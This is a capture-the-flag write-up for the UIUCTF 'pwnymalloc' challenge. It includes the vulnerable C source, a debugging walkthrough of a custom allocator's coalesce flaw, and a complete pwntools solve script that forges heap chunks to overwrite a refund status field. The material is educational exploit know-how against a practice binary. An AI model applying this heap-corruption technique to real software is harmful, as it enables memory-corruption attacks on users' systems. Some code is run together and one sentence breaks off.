i'm tired of hearing all your complaints. pwnymalloc never complains.
ncat --ssl pwnymalloc.chal.uiuc.tf 1337
Solution
I personally took the naive approach of solving this challenge as I did not analyze much of alloc.c and still managed to solve it. Luckily, I managed to save time by solving it this way.
TL;DR
Create a fake chunk in first request
Create fake chunk size in last 8 bytes of second request
Fake chunk size helps to point free_list to fake chunk during pwnyfree
Create third request to write from fake chunk, overwrite status of second request
This is essentially House of Spirit.
Initial Analysis
#include"alloc.h"#include<stdio.h>#include<stdlib.h>#include<string.h>typedefenum { REFUND_DENIED, REFUND_APPROVED,} refund_status_t;typedefstruct refund_request {refund_status_t status;int amount;char reason[0x80];} refund_request_t;refund_request_t*requests[10] = {NULL};voidprint_flag() {char flag[64]; FILE *f =fopen("flag.txt","r");if (f ==NULL) {puts("Flag file not found.");return; }fgets(flag,64, f);printf("%s\n", flag);fclose(f);}voidhandle_complaint() {puts("Please enter your complaint:");char*trash =pwnymalloc(0x48);fgets(trash,0x48, stdin);memset(trash,0,0x48);pwnyfree(trash);puts("Thank you for your feedback! We take all complaints very seriously.");}voidhandle_view_complaints() {puts("Oh no! Our complaint database is currently down. Please try again later.");}voidhandle_refund_request() {int request_id =-1;for (int i =0; i <10; i++) {if (requests[i] ==NULL) { request_id = i;break; } }if (request_id ==-1) {puts("Sorry, we are currently unable to process any more refund requests."); }refund_request_t*request =pwnymalloc(sizeof(refund_request_t));puts("Please enter the dollar amount you would like refunded:");char amount_str[0x10];fgets(amount_str,0x10, stdin);sscanf(amount_str,"%d",&request->amount);puts("Please enter the reason for your refund request:");fgets(request->reason,0x80, stdin);request->reason[0x7f] ='\0'; // null-terminateputs("Thank you for your request! We will process it shortly.");request->status = REFUND_DENIED; requests[request_id] = request;printf("Your request ID is: %d\n", request_id);}voidhandle_refund_status() {puts("Please enter your request ID:");char id_str[0x10];fgets(id_str,0x10, stdin);int request_id;sscanf(id_str,"%d",&request_id);if (request_id <0|| request_id >=10) {puts("Invalid request ID.");return; }refund_request_t*request = requests[request_id];if (request ==NULL) {puts("Invalid request ID.");return; }if (request->status == REFUND_APPROVED) {puts("Your refund request has been approved!");puts("We don't actually have any money, so here's a flag instead:");print_flag(); } else {puts("Your refund request has been denied."); }}intmain() {// disable bufferingsetvbuf(stdout,NULL, _IONBF,0);setvbuf(stdin,NULL, _IONBF,0);setvbuf(stderr,NULL, _IONBF,0);puts("Welcome to the SIGPwny Transit Authority's customer service portal! How may we help you today>");while (1) {puts("\n1. Submit a complaint");puts("2. View pending complaints");puts("3. Request a refund");puts("4. Check refund status");puts("5. Exit\n");printf("> ");char choice_str[0x10];fgets(choice_str,0x10, stdin);int choice;sscanf(choice_str,"%d",&choice);switch (choice) {case1:handle_complaint();break;case2:handle_view_complaints();break;case3:handle_refund_request();break;case4:handle_refund_status();break;case5:exit(0);default:puts("Invalid choice. Try again."); } }}
Looking at main.c, we can derive that it is a "heap" challenge with a custom implemented heap based off alloc.c.
There are 3 main functions in play in main.c, namely the handle_complaint, handle_refund_request, and handle_refund_status. There is also only the print_flag function which gets called in the handle_refund_status if a check is passed.
voidhandle_complaint() {puts("Please enter your complaint:");char*trash =pwnymalloc(0x48);fgets(trash,0x48, stdin);memset(trash,0,0x48);pwnyfree(trash);puts("Thank you for your feedback! We take all complaints very seriously.");}
voidhandle_refund_request() {int request_id =-1;for (int i =0; i <10; i++) {if (requests[i] ==NULL) { request_id = i;break; } }if (request_id ==-1) {puts("Sorry, we are currently unable to process any more refund requests."); }refund_request_t*request =pwnymalloc(sizeof(refund_request_t));puts("Please enter the dollar amount you would like refunded:");char amount_str[0x10];fgets(amount_str,0x10, stdin);sscanf(amount_str,"%d",&request->amount);puts("Please enter the reason for your refund request:");fgets(request->reason,0x80, stdin);request->reason[0x7f] ='\0'; // null-terminateputs("Thank you for your request! We will process it shortly.");request->status = REFUND_DENIED; requests[request_id] = request;printf("Your request ID is: %d\n", request_id);}
voidhandle_refund_status() {puts("Please enter your request ID:");char id_str[0x10];fgets(id_str,0x10, stdin);int request_id;sscanf(id_str,"%d",&request_id);if (request_id <0|| request_id >=10) {puts("Invalid request ID.");return; }refund_request_t*request = requests[request_id];if (request ==NULL) {puts("Invalid request ID.");return; }if (request->status == REFUND_APPROVED) {puts("Your refund request has been approved!");puts("We don't actually have any money, so here's a flag instead:");print_flag(); } else {puts("Your refund request has been denied."); }}
Analyzing handle_complaint
The handle_complaint function seems to call the pwnymalloc (custom implementation of malloc), asks for 0x48 inputs, then nulls those 0x48 inputs with memset and then calls pwnyfree (custom implementation of free).
This tells us that whatever "complaint" we provide in this function would not be part of the exploit (as per the memset right after the fgets). If there is any use of this function for exploitation, then it would for exploiting a vulnerability in the pwnyfree function.
This is a hint that the vulnerability lies in pwnyfree. It lead me to think that the coalesce function that pwnyfree uses might be the vulnerable one.
Analyzing handle_refund_request
The handle_refund_request function allows us to have up to 10 pwnymalloc-ed heaps. There is a vulnerability in this function where it doesn't return out of the function if the request_id == -1, but i didn't had to utilize this.
It then takes in 16 bytes and converts it into a decimal to store in request->amount, 0x80 bytes to store into request->reason, and sets request->status to REQUEST_DENIED.
Analyzing handle_refund_status
The handle_refund_status function is basically a check to see if we have exploited the vulnerability. It checks if refund->status== REFUND_APPROVED. So our goal is to overwrite the refund->status field to be REFUND_APPROVED (value of 1). We need an overwrite or an arbitrary write, this means that there would most likely be a
Analyzing refund_request struct
Personally, I did not read much of alloc.c as I was short on time, so I relied on dynamic analysis to find the vulnerability. Therefore, I wont be doing an in depth analysis of the functions of alloc.c.
Dynamic Analysis
There were very few functions in main.c that I can choose (only handle_complaint and handle_refund_request) that would trigger a vulnerability.
Trying to send 0x7e bytes of the character "B" as a request reason then running handle_complaint with any data, we can see that a segfault has been hit with the value of RAX being invalid.
This segfault occurs in the get_status function of alloc.c.
Looking at the get_status function, since it is only 1 line, we can understand that the segfault occured because it's trying to get the size field of the block struct, but out block pointed to by RAX is an invalid address.
We can reference the call stack at the occurence of the segfault to see what called this get_status function and it is indeed the coalesce function that called it, which is what I suspected earlier on.
Looking at the coalesce function, it is clear that the prev_chunk function returned us the wrong block.
Debugging the program in the prev_chunk function, we can see that the get_prev_size function gets our last 8 bytes of our request reason as the size of the previous chunk, therefore it returns an invalid pointer to the previous chunk.
Leveraging prev_chunk size control
Now we can control where our previous chunk points to, so what happens if we create a fake chunk in our chunk and make our previous chunk point to our fake chunk?
The idea is to malloc a request at our fake chunk, and this should work if this custom heap implementation is similar to the actual heap implementation where the free_list would point to our fake chunk when we call pwnyfree.
Looking at the pwnyfree function, the block pointer is only inserted into the free_list based on the pointer returned to by the coalesce function.
If we look at the coalesce function once again, we can make the function return prev_block if we ensure that the prev_status == FREE, and this is based on the get_status function which checks if the LSB of the chunk size is set to 0.
We control this chunk size so we can ensure to set the LSB to 0.
We ignore next_block and next_status as we won't have a next block. We only exploit the previous block as we want to cause an overflow from the previous block.
The idea now is to first create a request chunk with a fake chunk inside it that we want to insert into the free_list.
Then we create a second request chunk with a fake prev_chunk_size so that the code:
This attack is pretty much House of Spirit but with custom heap implementation.
Now if we submit a complaint, we can verify that the block size returned is larger than usual and the free_list contains our fake chunk.
Now if we try to create a request chunk, we should be able to write from the fake chunk right?
No, a segfault appears to occur at pwnymalloc > split > coalesce > get_status.
We can see that it is essentially the same segfault we had initially at the pwnyfree function during the run of the coalesce function; our RAX has been clobbered by my input at request->reason as the coalesce function tries to call get_status on the prev_block and next_block of our fake chunk.
Resolving segfault at fake chunk
To resolve this, we can debug the functions and see what blocks the prev_chunk and next_chunk gets.
The prev_chunk seems to get the size at 0x555555559100-8 and the next_chunk seems to get the size at 0x555555559100, so we just make sure that we set these values as 0x0 (since we can control them in our 2nd request reason).
After resolving this, we can try to create our 3rd request reason, and we can see that the chunk would be allocated at our fake chunk and our data would be stored there.
Now we can easily overflow into the our 2nd request chunk and overwrite the request->status bit to REQUEST_APPROVED.
Solve Script
#!/usr/bin/env python3from pwn import*elf = context.binary =ELF("./chal")url,port ="pwnymalloc.chal.uiuc.tf",1337if args.REMOTE: p =remote(url,port, ssl=True)else: p = elf.process(aslr=False)if args.GDB: gdb.attach(p)defoption(n): p.clean() p.sendline(str(n).encode())# Create a fake chunk inside this chunk, which indicates a size of 0x120 with PREV_IN_USE bit unsetoption(3)p.clean()p.sendline(b'65')p.clean()p.sendline(b''.ljust(0x60, b'F') +p64(0x120) +p64(0) *2)# Create another fake chunk inside a new chunk, indicate the chunk size of the "freed" chunk# being bigger than it actually is (0xb0), also setting PREV_IN_USE bit unset# This is the trick to make the freed chunk point to a chunk in between the 2 chunks# The vulnerability is the checking of the freed chunk's sizeoption(3)p.clean()p.sendline(b'100')p.clean()payload =b'A'*0x58+p64(0)*2+b'A'*0x10+p64(0xb0)[:7]p.send(payload)# coalesce the chunks (consolidate) This causes overlapping freed chunk to be in between my two created chunksoption(1)p.clean()p.sendline(b'a')# Overwrite chunk REFUND_APPROVED bit with 1option(3)p.clean()p.sendline(b'100')p.clean()payload =p64(0)*2+p64(0x91)+p64(0x1)p.sendline(payload)option(4)p.clean()p.sendline(b'1')p.interactive()p.close()# uiuctf{the_memory_train_went_off_the_tracks}# 0x555555559008 - first chunk# 0x555555558060 - requests list"""pdata | size next | prev data | ndata"""